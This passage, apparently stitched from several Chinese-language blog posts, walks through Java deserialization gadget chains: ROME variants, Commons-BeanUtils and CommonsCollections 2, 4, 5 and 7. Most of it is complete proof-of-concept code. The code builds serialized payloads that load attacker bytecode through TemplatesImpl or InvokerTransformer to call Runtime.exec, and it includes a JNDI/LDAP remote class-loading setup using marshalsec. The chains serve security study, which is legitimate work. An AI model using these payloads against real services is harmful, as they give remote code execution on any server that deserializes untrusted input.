setFieldValue(badAttributeValueExpException,"val",bean); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } } XString链com.sun.org.apache.xpath.internal.objects.XString是用于处理 XPath 相关操作的类HashMap.readObject() -> XString.equals() -> 任意调 toString() HashMap#readObject()触发putVal(),跟进putVal()，调用equals方法由此处触发XString#equals()调用任意对象的toString方法public boolean equals(Object obj2) { if (null == obj2) return false; // In order to handle the 'all' semantics of // nodeset comparisons, we always call the // nodeset function. else if (obj2 instanceof XNodeSet) return obj2.equals(this); else if(obj2 instanceof XNumber) return obj2.equals(this); else return str().equals(obj2.toString()); //######### }package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import static org.example.Tools.*; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class XStringRome { public static void main(String[] args) throws Exception { // byte[] code = Base64.getDecoder().decode("[binary]"); byte[] code = getBytes("rome.evil"); TemplatesImpl templates = new TemplatesImpl(); setValue(templates, "_name", "whatever"); setValue(templates, "_bytecodes", new byte[][]{code}); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); XString xString = new XString("whatever"); // yy 与 zZ 的 hashCode() 相同，因此才会触发 HashMap 去重操作 // 这里添加的顺序也比较重要，要不然就反了 Map map1 = new HashMap(); map1.put("yy", toStringBean); map1.put("zZ", xString); Map map2 = new HashMap(); map2.put("yy", xString); map2.put("zZ", toStringBean); Map map = new HashMap(); map.put(map1, 1); map.put(map2, 2); setValue(toStringBean, "_beanClass", Templates.class); setValue(toStringBean, "_obj", templates); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } } HotSwappableTargetSource链HotSwappableTargetSource 是 Spring 框架中的一个类，属于 Spring AOP（Aspect-Oriented Programming） 组件，通常用于动态切换目标对象。它位于 spring-aop 依赖中<dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.3.30</version> </dependency>这里equals()前后有两个target，这就需要构造两个HotSwappableTargetSource实例，左边为XString，右边为ToStringBean然后再找一个equals来触发它，感觉有点多余（比如用HashMap的readObject()）package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.target.HotSwappableTargetSource; import static org.example.Tools.*; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; import static org.example.Tools.getBytes; public class HotSwappableTargetSourceRome { public static void main(String[] args) throws Exception { byte[] code = getBytes("rome.evil"); TemplatesImpl templates = new TemplatesImpl(); setValue(templates, "_name", "whatever"); setValue(templates, "_bytecodes", new byte[][]{code}); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1")); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean); // yy 与 zZ 的 hashCode() 相同，因此才会触发 HashMap 去重操作 Map map1 = new HashMap(); map1.put("yy", hotSwappableTargetSource2); map1.put("zZ", hotSwappableTargetSource1); Map map2 = new HashMap(); map2.put("yy", hotSwappableTargetSource1); map2.put("zZ", hotSwappableTargetSource2); Map map = new HashMap(); map.put(map1, 1); map.put(map2, 2); setValue(toStringBean, "_beanClass", Templates.class); setValue(toStringBean, "_obj", templates); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } } 或者说这个package rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.target.HotSwappableTargetSource; import static org.example.Tools.*; import javax.xml.transform.Templates; import java.util.Base64; import java.util.HashMap; public class HotSwappableTargetSourceRome2 { public static void main(String[] args) throws Exception{ byte[] bytes = getBytes("rome.evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "whatever"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); ToStringBean toStringBean = new ToStringBean(Templates.class,templates); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1")); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean); HashMap hashMap = new HashMap(); hashMap.put(hotSwappableTargetSource2,"1"); hashMap.put(hotSwappableTargetSource1,"1"); byte[] serialize = serialize(hashMap); System.out.println(new String(Base64.getEncoder().encode(serialize))); unserialize(serialize); } } EqualsBean 无ToStringBean链前边的所有方式都用到了ToStringBean这条链，但若该类被加入了黑名单，则可用EqualsBean中的beanEquals()方法 这里用cc7的调用equals 的方法，调用的是value的equals()，因此value要设置为EqualsBean类型，而equals()中的参数在beanEquals()中会判断是否为_beanClass的子类或子类实例，_beanClass根据前边的经验是Templates类型的，因此equals()中的参数也要是Templates类型map1.put("yy",equalsBean); map1.put("zZ",templates); map2.put("zZ",equalsBean); map2.put("yy",templates);EqualsBean equalsBean = new EqualsBean(String.class, "aaa");先无害化处理package rome; import static org.example.Tools.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import javax.xml.transform.Templates; import java.util.HashMap; import java.util.Hashtable; public class EqualsBeanRome { public static void main(String[] args) throws Exception { byte[] bytes = getBytes("rome.evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); EqualsBean equalsBean = new EqualsBean(String.class, "aaa");// 这里先设无害的参数，要不然执行后会抛出异常结束进程 HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",equalsBean); map1.put("zZ",templates); map2.put("zZ",equalsBean); map2.put("yy",templates); //Hashtable hashtable = new Hashtable(); //这里HashMap和Hashtable都可以的 HashMap hashtable = new HashMap(); hashtable.put(map1,"1"); hashtable.put(map2,"1"); setFieldValue(equalsBean,"_beanClass",Templates.class); setFieldValue(equalsBean,"_obj",templates); byte[] serialize = serialize(hashtable); unserialize(serialize); } } JdbcRowSetImpl链还是用ToStringBean#toString的触发方式，后边可以调用任意对象的getter方法，结合JNDI注入就可以调用JdbcRowSetImpl#getDatabaseMetaData()，在JdbcRowSetImpl的getDatabaseMetaData()会调用connect()，触发lookup()进行远程类加载lookup()中参数可控，可通过对应的Setter方法进行赋值由于getDatabaseMetaData()是以get开头，因此在ToStringBean的toString()，可通过循环反射调用还是用HashMap调用hashCode()的方式触发python -m http.server 7777 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999package rome; import static org.example.Tools.*; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.Base64; import java.util.HashMap; public class JdbcRowSetImplRome { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://127.0.0.1:9999/test"; jdbcRowSet.setDataSourceName(url); ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); ObjectBean objectBean = new ObjectBean(String.class, "whatever"); HashMap map = new HashMap(); map.put(objectBean, ""); setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean)); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } } 利用Javassist缩短payload我们使用的恶意类，由于必须继承自AbstractTranslet方法,因此对其的两个transform方法进行了重写,添加了payload的长度.javassist是用来动态修改字节码的,可以通过javassist跳过编译去构建一个class文件.String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; // 创建EvilTest对象，父类为AbstractTranslet，注入了payload进静态代码块 ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池 classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径 CtClass payload = classPool.makeClass("EvilTest"); // 创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置EvilTest的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法，并插入runtime byte[] code = payload.toBytecode();得到大大减少了poc的长度
CB链和CC4的异同点就在于触发compare这个地方，也就是在CB链中哪里调用了compare方法，进而连接上链子Common-BeanUtils基础知识pom.xml：<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>BeanUtils是Apache Commons项目的一个 Java 类库，提供了一组简单易用的API来操作 Java 对象和 Bean 属性。它的主要功能是将Java Bean的属性值与一组键值对（例如，从HTTP请求或表单参数中）相互转换。主要对 JavaBean 功能的增强。以 Utils 结尾，一般这都是一个工具类/集。JavaBean是一种特定的Java类，它遵循一定的规范和格式，以便于被其他程序使用和操作。JavaBean类设置有构造函数，私有属性和公共 getter/setter 方法：JavaBean 类通常会包含一些私有属性，而这些属性必须通过公共的 getter 和 setter 方法进行访问和修改。这是为了保证 JavaBean 类的封装性，同时也方便外部程序对 JavaBean 对象的属性进行操作。比在Commons-Beanutils的 Java 库中的 PropertyUtils 类提供了一些方法能够动态调用 getter / setter 方法，获取属性值。PropertyUtils.getPropertyimport org.apache.commons.beanutils.PropertyUtils; import java.lang.reflect.InvocationTargetException; public class CommonsBeanUtils { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { System.out.println(PropertyUtils.getProperty(new People(),"name")); } }这样就能调用到创建的对象的对应 name 属性的 getter 方法，除此之外，PropertyUtils.getProperty 还支持递归获取属性，比如a对象中有属性b，b对象中有属性c，我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取链子首先我们知道这个方法可以调用对象的 getter 方法，那就继续看哪个 getter 方法能够达到利用效果。在CC3动态加载类利用链有符合这个条件的方法getOutputProperties()可以调用到newTransformer()方法，最终加载字节码实现命令执行public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }因此我们可以通过PropertyUtils.getProperty方法调用这个getter方法，但怎么从反序列化的readObject()方法调用到PropertyUtils.getProperty这个静态方法呢，继续找哪里会调用这个方法，可以发现熟悉的compare()方法，只是这次在BeanComparator类中public int compare(T o1, T o2) { if (this.property == null) { return this.internalCompare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this.property); // <-- 此处调用 Object value2 = PropertyUtils.getProperty(o2, this.property); return this.internalCompare(value1, value2); } catch (IllegalAccessException var5) { throw new RuntimeException("IllegalAccessException: " + var5.toString()); } catch (InvocationTargetException var6) { throw new RuntimeException("InvocationTargetException: " + var6.toString()); } catch (NoSuchMethodException var7) { throw new RuntimeException("NoSuchMethodException: " + var7.toString()); } } }BeanComparator类是commons-beanutils用来比较两个JavaBean是否相等的类，它实现了java.util.Comparator接口，自然就会有compare方法。这里只要在o1这个位置上放我们构造好的TemplatesImpl对象，在property这个位置上放OutputProperties，就可以成功调用到TemplatesImpl#getOutputProperties()方法了。如何调用这个compare()方法，就可以参考cc2:PriorityQueue.readObject -> PriorityQueue.siftUpUsingComparator -> BeanComparator.comparePOCPriorityQueue.readObject -> PriorityQueue.siftUpUsingComparator -> BeanComparator.compare -> TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()首先和CC3一样设置好TemplatesImpl对象byte[] code = Base64.getDecoder().decode("[binary]"); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "ph0ebus"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());然后实例化BeanComparator，用于后面给PriorityQueue初始化传入比较器(comparator)BeanComparator beanComparator = new BeanComparator();然后创建PriorityQueue类的对象，利用其构造方法传入比较器beanComparator，这里就和cc2差不多了Queue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(1);最后利用反射机制放入我们恶意构造的TemplateImpl对象和outputProperties，使其能够调用到TemplatesImpl#getOutputProperties()，完成后面一系列调用setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});expimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue; import java.util.Queue; public class CommonsBeanUtils { public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException { byte[] code = Base64.getDecoder().decode("[binary]"); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "L2mbo"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); BeanComparator beanComparator = new BeanComparator(); Queue queue = new PriorityQueue(2, beanComparator); queue.add(1); queue.add(1); setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj, value); } }
CommonsCollections4<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>同样是在4的环境下cc3引入了InstantiateTransformer类替换了InvokerTransformer对cc1链进行变形绕过过滤。同理，cc2也能做同样的变形形成一条新的利用链，这就是cc4链。cc4相对于cc2来说并没有将TemplatesImpl类的实例直接放入队列，而是第二次transform()的时候即调用该类的newInstance()实例化，而实例化的参数因为也是可控的，因此在参数位置放入TemplateImpl类的实例PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingConparator() ChainedTransformer.transform() InstantiateTransformer.transform() (TrAXFilter)Constructor.newInstance() templatesImpl.newTranformer() Method.invoke() Runtime.exec()poc:import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.PriorityQueue; public class CommonsCollections_4 { public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; // 创建CommonsCollections4对象，父类为AbstractTranslet，注入了payload进构造函数 ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池 classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径 CtClass payload = classPool.makeClass("CommonsCollections4"); // 创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置CommonsCollections4类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法，并插入runtime byte[] bytes = payload.toBytecode(); // 通过反射注入bytes的值 Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); // 反射创建TemplatesImpl Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); // 反射获取templatesImpl的_bytecodes字段 field.setAccessible(true); field.set(templatesImpl, new byte[][]{bytes}); // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组 // 通过反射设置_name的值不为null Field field1 = templatesImpl.getClass().getDeclaredField("_name"); // 反射获取templatesImpl的_name字段 field1.setAccessible(true); field1.set(templatesImpl, "L1mbo"); Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl}) // 将TemplatesImpl实例放进参数值位置，与cc3原理一样，便于在构造函数中触发newTransformer }; // 封装chained转换链 ChainedTransformer chian = new ChainedTransformer(trans); TransformingComparator transCom = new TransformingComparator(chian); // 封装外层的队列 PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field com = PriorityQueue.class.getDeclaredField("comparator"); com.setAccessible(true); com.set(queue, transCom); // 序列化 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr.toString()); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); } }CommonsCollections5<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>和cc6链类似cc5这条链的外部入口变了，但里面没变，依然是和cc1链一样进到LazyMap.get()然后调用Transformer数组进行RCE:TiedMapEntry#getValue()方法调用了get()，而且map在TiedMapEntry类构造函数中可控public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getValue() { return this.map.get(this.key); }TiedMapEntry#toString方法调用了getValue()方法public String toString() { return this.getKey() + "=" + this.getValue(); }找一个调用了toString方法可以和readObject()连起来，可以发现BadAttributeValueExpException类的readObject()方法private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); // <--此处调用 } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }这里让valObj是TiedMapEntry类的对象，valObj的来源是:ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);所以这里先调用readFields从流中读取了所有的持久化字段，然后调用get()方法得到了名字是val的字段。这里可以用反射机制修改val的为TiedMapEntry类的对象BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Runtime.exec()poc:import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CommonsCollections_5 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}), new ConstantTransformer(1) }; ChainedTransformer chian = new ChainedTransformer(transformers); HashMap map = new HashMap(); Map innerMap = LazyMap.decorate(map, chian); // 构造外部的触发链触发varobj.tostring到达lazymap.get TiedMapEntry entry = new TiedMapEntry(innerMap, "L1mbo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valField = val.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(val, entry); // 将TiedMapEntry实例放进val属性，从而在反序列化还原后最终调用this.map.get // 序列化 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(val); oos.close(); System.out.println(barr.toString()); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); } }CommonsCollections7<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>和cc5一样，cc7也是外部入口变了，都是换种姿势调用到LazyMap.get()方法实现一系列调用这条链子入口是Hashtable类的readObject()方法private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); // Read and validate loadFactor (ignore threshold - it will be re-computed) float lf = fields.get("loadFactor", 0.75f); if (lf <= 0 || Float.isNaN(lf)) throw new StreamCorruptedException("Illegal load factor: " + lf); lf = Math.min(Math.max(0.25f, lf), 4.0f); // Read the original length of the array and number of elements int origlength = s.readInt(); int elements = s.readInt(); // Validate # of elements if (elements < 0) throw new StreamCorruptedException("Illegal # of Elements: " + elements); // Clamp original length to be more than elements / loadFactor // (this is the invariant enforced with auto-growth) origlength = Math.max(origlength, (int)(elements / lf) + 1); // Compute new length with a bit of room 5% + 3 to grow but // no larger than the clamped original length. Make the length // odd if it's large enough, this helps distribute the entries. // Guard against the length ending up zero, that's not valid. int length = (int)((elements + elements / 20) / lf) + 3; if (length > elements && (length & 1) == 0) length--; length = Math.min(length, origlength); if (length < 0) { // overflow length = origlength; } // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length); Hashtable.UnsafeHolder.putLoadFactor(this, lf); table = new Entry<?,?>[length]; threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1); count = 0; // Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); // sync is eliminated for performance reconstitutionPut(table, key, value); } }Entry是一个数据结构的类，这个类里存放了key和value。table是一个Entry数组，而且为空。这里会调用reconstitutionPut()方法private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }第一次调用reconstitutionPut()，将key和value存入上面说的table中。然后若循环条件满足继续调用reconstitutionPut()在if语句里调用了e.key.equals(key)，也就是要构造两个Hashtable类的对象并让map1和map2是LazyMap类型，从而调用LazyMap.equals()方法，但LazyMap类里没有这个equals()方法，寻找父类AbstractMapDecorator实现的equals方法public boolean equals(Object object) { return object == this ? true : this.map.equals(object); }它去调用map属性的equals方法，这里的map其实是我们创建LazyMap时传入的HashMapHashMap也没有equals方法，寻找父类AbstractMap实现的equals方法public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; }这里的迭代器i其实是map1的entrySet()的迭代器，while循环里是拿到map1里的key和value；然后是m，这里的m其实是传递过来的map2，value不为空，所以他会走else，然后先调用m.get(key)，实际就是LazyMap.get()poc:import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class CommonsCollections_7 { public static void main(String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}), new ConstantTransformer(1) }; ChainedTransformer chain = new ChainedTransformer(transformers); // 构造两个hash值相同的Lazymap Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, chain); lazyMap1.put("zZ", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, chain); lazyMap2.put("yy", 1); Hashtable hashTable = new Hashtable(); hashTable.put(lazyMap1, 1); hashTable.put(lazyMap2, 2); // 移除生成exp过程中因两个Lazymap的hash相同而放入lazymap2的键 lazyMap2.remove("zZ"); // 序列化 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashTable); oos.close(); System.out.println(barr.toString()); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); } }
CommonsCollections 2前面的cc1、cc3、cc6都是基于commons-collections:commons-collections的3.1-3.2.1这几个版本的，但后面有了新的分支org.apache.commons:commons-collections4的4.0版本。但是org.apache.commons:commons-collections4的groupId和artifactId都变了，形成了两个分支。因为commons-collections4不是用来替换commons-collections的一个新版本，而是修复旧的commons-collections的⼀些架构和API设计上的问题的一个拓展。两者的命名空间并不冲突，都可以放在同一个项目中，当于作为一个拓展。commons-collections4改动我们用cc6链的poc做实验，直接将包名一改，把import org.apache.commons.collections.*改成import org.apache.commons.collections4.*在CommonsCollections-4.0版本中，删除了LazyMap的decorate方法，但是有一个lazyMap方法，方法内容一样，所以直接替换一下方法名就可以用：# 老版本 public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } # 4.0 public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) { return new LazyMap(map, factory); }将LazyMap.decorate()改成LazyMap.lazyMap()，运行，弹出计算机，说明老的cc1、cc3、cc6都可以在新的collections4上继续使用cc2预备PriorityQueue利用链cc链的核心，毫无疑问是Transformer#transform()，我们得想办法调入transform中，在里面去执行命令；而cc链的入口，就是Serializable#readObject() ，所以说我们要做的，就是想办法把它们头尾连起来而在CommonsCollections2中，有两个核心类，也就是链子的一头一尾：一个是java.util.PriorityQueue，这个类中有自己的readObject()方法，所以说可以作为链子的开头：优先队列PriorityQueue是Queue接口的实现类，基于二叉堆实现，可以对其中元素进行排序，和先进先出（FIFO）的队列的区别在于，优先队列每次出队的元素都是优先级最高的元素，Java通过堆使得每次出队的元素总是队列里面最小的二叉堆是一种特殊的堆，是完全二叉树或者近似于完全二叉树，二叉堆分为最大堆和最小堆 最大堆：父结点的键值总是大于或等于任何一个子节点的键值；最小堆：父结点的键值总是小于或等于任何一个子节点的键值重点在于每次排序都要触发传入的比较器comparator的compare()方法。并且这个类重写了readObject()方法private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); 